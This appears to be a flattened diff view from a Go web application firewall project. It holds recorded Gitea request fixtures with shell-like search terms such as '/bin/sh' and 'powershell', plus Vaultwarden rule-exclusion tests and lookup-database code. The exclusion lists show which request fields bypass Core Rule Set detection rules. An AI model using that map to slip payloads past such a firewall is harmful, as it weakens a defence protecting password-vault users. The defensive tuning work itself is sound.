{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
@@ -677,7 +468,3 @@
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""} {"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""} {"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""} {"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
-11
View File
@@ -91,17 +91,6 @@
/explore/organizations?q=docker-ci /explore/organizations?q=docker-ci
/api/v1/users/search?q=docker-ci /api/v1/users/search?q=docker-ci
# Searches of the repositories on a user's and an organisation's page, recorded
# from gitea 1.27.3.
/alice?tab=repositories&q=ls+-la&sort=recentupdate
/alice?tab=repositories&q=python3&sort=recentupdate
/alice?tab=repositories&q=powershell&sort=recentupdate
/alice?tab=repositories&q=.htaccess&sort=recentupdate
/acme?q=ls+-la&sort=recentupdate
/acme?q=python3&sort=recentupdate
/acme?q=powershell&sort=recentupdate
/acme?q=.htaccess&sort=recentupdate
# Pages, raw files and edit pages of files, and the API's call for their # Pages, raw files and edit pages of files, and the API's call for their
# contents. # contents.
/owner/repo/src/branch/main/package.json /owner/repo/src/branch/main/package.json
+1 -1
View File
@@ -5,7 +5,7 @@
# before the rules it switches off, so this file is loaded before the Core Rule # before the rules it switches off, so this file is loaded before the Core Rule
# Set's rules. Each comment names a request a rule refused. An exclusion on a # Set's rules. Each comment names a request a rule refused. An exclusion on a
# field of a body applies only when the query has no parameter of that name, so # field of a body applies only when the query has no parameter of that name, so
# it matters only while SWW_WAF_BODY_LIMIT is set. # it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# #
# The apps encrypt the names, notes, addresses and file names of vault items, # The apps encrypt the names, notes, addresses and file names of vault items,
# folders, collections and sends before they send them. These values pass # folders, collections and sends before they send them. These values pass
+25 -135
View File
@@ -11,7 +11,7 @@ import (
"testing" "testing"
) )
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const vaultwardenThreshold = 5 const vaultwardenThreshold = 5
// Paths of Vaultwarden's API and admin page. // Paths of Vaultwarden's API and admin page.
@@ -68,53 +68,18 @@ var vaultwardenNameFields = []vaultwardenField{
http.MethodPost, vaultwardenFinishSignUp, jsonBody, http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`, `{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
}, },
{ {http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
http.MethodPut, {http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
vaultwardenProfile,
jsonBody,
`{"name":"VALUE","culture":"en-US"}`,
},
{
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"masterPasswordHint":"VALUE"}`,
},
{ {
http.MethodPost, "/api/organizations", jsonBody, http.MethodPost, "/api/organizations", jsonBody,
`{"name":"VALUE","billingEmail":"billing@example.com"}`, `{"name":"VALUE","billingEmail":"billing@example.com"}`,
}, },
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`}, {http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
{ {http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
http.MethodPost, {http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
vaultwardenOrganization + "/groups", {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
jsonBody, {http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
`{"name":"VALUE"}`, {http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"invitation_org_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_from_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
{
http.MethodPut,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
} }
// vaultwardenAddressFields hold every field of a body that skips 930120, // vaultwardenAddressFields hold every field of a body that skips 930120,
@@ -126,18 +91,8 @@ var vaultwardenAddressFields = []vaultwardenField{
http.MethodPost, "/identity/connect/token", formData, http.MethodPost, "/identity/connect/token", formData,
"grant_type=password&username=VALUE&password=example&scope=api+offline_access", "grant_type=password&username=VALUE&password=example&scope=api+offline_access",
}, },
{ {http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
"/identity/accounts/prelogin/password",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
vaultwardenSignUp,
jsonBody,
`{"email":"VALUE","name":"Alice"}`,
},
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail}, {http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
{ {
http.MethodPost, vaultwardenFinishSignUp, jsonBody, http.MethodPost, vaultwardenFinishSignUp, jsonBody,
@@ -151,84 +106,34 @@ var vaultwardenAddressFields = []vaultwardenField{
http.MethodPost, vaultwardenPassword, jsonBody, http.MethodPost, vaultwardenPassword, jsonBody,
`{"authenticationData":{"salt":"VALUE"}}`, `{"authenticationData":{"salt":"VALUE"}}`,
}, },
{ {http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"unlockData":{"salt":"VALUE"}}`,
},
{ {
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody, http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`, `{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
}, },
{ {http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
"/api/accounts/password-hint",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/accounts/email-token",
jsonBody,
`{"newEmail":"VALUE"}`,
},
{ {
http.MethodPost, "/api/emergency-access/invite", jsonBody, http.MethodPost, "/api/emergency-access/invite", jsonBody,
`{"email":"VALUE","type":0}`, `{"email":"VALUE","type":0}`,
}, },
{ {http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
http.MethodPut,
vaultwardenOrganization,
jsonBody,
`{"billingEmail":"VALUE"}`,
},
{ {
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody, http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
`{"emails":["alice@example.com","VALUE"],"type":2}`, `{"emails":["alice@example.com","VALUE"],"type":2}`,
}, },
{ {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
http.MethodPost, {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
vaultwardenSettings, {http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
jsonBody,
`{"smtp_from":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_username":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"org_creation_users":"VALUE"}`,
},
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
{ {http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
"/api/two-factor/send-email-login",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/two-factor/send-email",
jsonBody,
vaultwardenEmail,
},
{ {
http.MethodPut, "/api/two-factor/email", jsonBody, http.MethodPut, "/api/two-factor/email", jsonBody,
`{"email":"VALUE","token":"123456"}`, `{"email":"VALUE","token":"123456"}`,
}, },
{ {http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
http.MethodPost,
"/api/auth-requests",
jsonBody,
`{"email":"VALUE","type":0}`,
},
} }
// vaultwardenBreachReport is the data breach report, which sends an address // vaultwardenBreachReport is the data breach report, which sends an address
@@ -351,12 +256,7 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
got, _ := inspectBody(t, crs, r, refused.body) got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < vaultwardenThreshold { if got.Score < vaultwardenThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
"POST %s %s let through: %+v",
refused.target,
refused.body,
got,
)
} }
} }
@@ -392,8 +292,7 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
func masterPasswordHashes(count int) []string { func masterPasswordHashes(count int) []string {
const size, seed = 32, 288 const size, seed = 32, 288
//nolint:gosec // a fixed sample random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
random := rand.New(rand.NewPCG(seed, seed))
hashes := make([]string, count) hashes := make([]string, count)
@@ -441,15 +340,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body)) t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
} }
if got, _ := inspectBody(t, crs, sent.r, body); len( if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
got.RuleIDs, t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
) != 0 {
t.Errorf(
"POST %s %v set off rules: %+v",
sent.r.target,
sent.names,
got,
)
} }
} }
} }
@@ -458,9 +350,7 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
t.Parallel() t.Parallel()
crs := readingBodies(t) crs := readingBodies(t)
encrypted := vaultwardenUpload( encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
)
for _, target := range []string{ for _, target := range []string{
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a", vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
+1 -1
View File
@@ -3,7 +3,7 @@
# the rules it switches off, so this file is loaded before the Core Rule Set's # the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field # rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it # of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set. # matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# WordPress takes a call to its REST API at any of four addresses: # WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1 # /wp-json/wp/v2/posts/1
+3 -7
View File
@@ -24,7 +24,7 @@ const quietTime = 2 * time.Second
// FileParams are what OpenFile needs. // FileParams are what OpenFile needs.
type FileParams struct { type FileParams struct {
// Path is the lookup database, the IPinfo Lite file in its .mmdb form // Path is the lookup database, the IPinfo Lite file in its .mmdb form
// (SWW_LOOKUP_DB_PATH). // (SWW_WAF_LOOKUP_DB_PATH).
Path string Path string
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
Now func() time.Time Now func() time.Time
@@ -231,16 +231,12 @@ func (f *File) use(reader *maxminddb.Reader) {
func read(path string) (*maxminddb.Reader, error) { func read(path string) (*maxminddb.Reader, error) {
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
if err != nil { if err != nil {
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err) return nil, fmt.Errorf("SWW_WAF_LOOKUP_DB_PATH cannot be read: %w", err)
} }
reader, err := maxminddb.OpenBytes(data) reader, err := maxminddb.OpenBytes(data)
if err != nil { if err != nil {
return nil, fmt.Errorf( return nil, fmt.Errorf("SWW_WAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
path,
err,
)
} }
return reader, nil return reader, nil
+16 -49
View File
@@ -26,21 +26,11 @@ const (
testClient = "203.0.113.9/32" testClient = "203.0.113.9/32"
) )
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown( func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
germany := lookuptest.Network{ germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
ASN: "AS64496", northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
ASName: "Example Net",
Country: "DE",
}
northKorea := lookuptest.Network{
ASN: "AS64511",
ASName: "Other Net",
Country: "KP",
}
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.Write(t, path, map[string]lookuptest.Network{ lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: germany, testNetblock: germany,
@@ -72,13 +62,7 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country, Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
Answered: now, Answered: now,
}) { }) {
t.Errorf( t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
"%s has the answer %+v, want %+v, answered %s",
client,
got,
want,
now,
)
} }
} }
} }
@@ -115,9 +99,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
writeFile(t, notDatabase, "not a lookup database\n") writeFile(t, notDatabase, "not a lookup database\n")
for path, want := range map[string]string{ for path, want := range map[string]string{
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing + missing: "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + missing +
": no such file or directory", ": no such file or directory",
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase + notDatabase: "SWW_WAF_LOOKUP_DB_PATH " + notDatabase +
" is not a .mmdb file: error opening database: invalid MaxMind DB file", " is not a .mmdb file: error opening database: invalid MaxMind DB file",
} { } {
_, err := OpenFile(FileParams{ _, err := OpenFile(FileParams{
@@ -138,9 +122,7 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
// reading due by then is done. The test sends the changes itself, as the // reading due by then is done. The test sends the changes itself, as the
// watch of a directory cannot run in a bubble. // watch of a directory cannot run in a bubble.
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole( func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -155,8 +137,7 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
other := filepath.Join(dir, "replacement.mmdb") other := filepath.Join(dir, "replacement.mmdb")
writeDatabase(t, other, "KP") writeDatabase(t, other, "KP")
//nolint:gosec // a file the test wrote replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
replacement, err := os.ReadFile(other)
if err != nil { if err != nil {
t.Fatalf("read %s: %v", other, err) t.Fatalf("read %s: %v", other, err)
} }
@@ -195,20 +176,15 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
wantCountry(t, f, "KP") wantCountry(t, f, "KP")
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 { if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
t.Errorf( t.Errorf("read at %s, with %d failures; want read now, with none",
"read at %s, with %d failures; want read now, with none", f.LastRead(), f.ReadFailures())
f.LastRead(),
f.ReadFailures(),
)
} }
wantAlerts(t, queue) wantAlerts(t, queue)
}) })
} }
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert( func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -230,12 +206,8 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
wantCountry(t, f, "DE") wantCountry(t, f, "DE")
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 { if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
t.Errorf( t.Errorf("read at %s, with %d failures; want read at %s, with one",
"read at %s, with %d failures; want read at %s, with one", f.LastRead(), f.ReadFailures(), read)
f.LastRead(),
f.ReadFailures(),
read,
)
} }
wantAlerts(t, queue, alerts.Alert{ wantAlerts(t, queue, alerts.Alert{
@@ -244,7 +216,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
Reason: "the lookup database cannot be read, and the one read before stays in use", Reason: "the lookup database cannot be read, and the one read before stays in use",
Detail: map[string]any{ Detail: map[string]any{
"file": path, "file": path,
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " + "error": "SWW_WAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
"error opening database: invalid MaxMind DB file", "error opening database: invalid MaxMind DB file",
}, },
}) })
@@ -317,11 +289,7 @@ func writeDatabase(t *testing.T, path, country string) {
t.Helper() t.Helper()
lookuptest.Write(t, path, map[string]lookuptest.Network{ lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: { testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
ASN: "AS64496",
ASName: "Example Net",
Country: country,
},
}) })
} }
@@ -381,8 +349,7 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
t.Helper() t.Helper()
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != len(want) || if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
t.Errorf("alerts waiting %+v, want %+v", waiting, want) t.Errorf("alerts waiting %+v, want %+v", waiting, want)
} }
+8 -24
View File
@@ -1,6 +1,6 @@
// Package lookup looks up each client's AS number and country, through // Package lookup looks up each client's AS number and country, through
// the GeoJS web service or in the lookup database, the IPinfo Lite file // the GeoJS web service or in the lookup database, the IPinfo Lite file
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at // SWW_WAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
// most 100,000 clients and for 7 days each, and are written to // most 100,000 clients and for 7 days each, and are written to
// lookups.json and read from it by the state package. // lookups.json and read from it by the state package.
package lookup package lookup
@@ -66,7 +66,7 @@ type Params struct {
URL string URL string
// Timeout is how long a request waits for its client's first answer, // Timeout is how long a request waits for its client's first answer,
// and how long a request to GeoJS may take before it is abandoned // and how long a request to GeoJS may take before it is abandoned
// (SWW_LOOKUP_TIMEOUT). // (SWW_WAF_LOOKUP_TIMEOUT).
Timeout time.Duration Timeout time.Duration
// Wait is true when a setting needs each request's answer before the // Wait is true when a setting needs each request's answer before the
// request goes on. Otherwise no request waits for one. // request goes on. Otherwise no request waits for one.
@@ -211,10 +211,7 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
// LookUpWithoutWaiting is LookUp for a request that does not need the answer, // LookUpWithoutWaiting is LookUp for a request that does not need the answer,
// whatever Wait says: it returns the zero Answer at once when none is kept. // whatever Wait says: it returns the zero Answer at once when none is kept.
func (g *GeoJS) LookUpWithoutWaiting( func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
ctx context.Context,
client netip.Prefix,
) Answer {
answer, _ := g.answerOrWait(ctx, client, false) answer, _ := g.answerOrWait(ctx, client, false)
return answer return answer
@@ -432,21 +429,14 @@ func (g *GeoJS) keep(
} }
if err == nil && leftOut > 0 { if err == nil && leftOut > 0 {
err = fmt.Errorf( err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
"%w %d of %d addresses",
errLeftOut,
leftOut,
len(clients),
)
} }
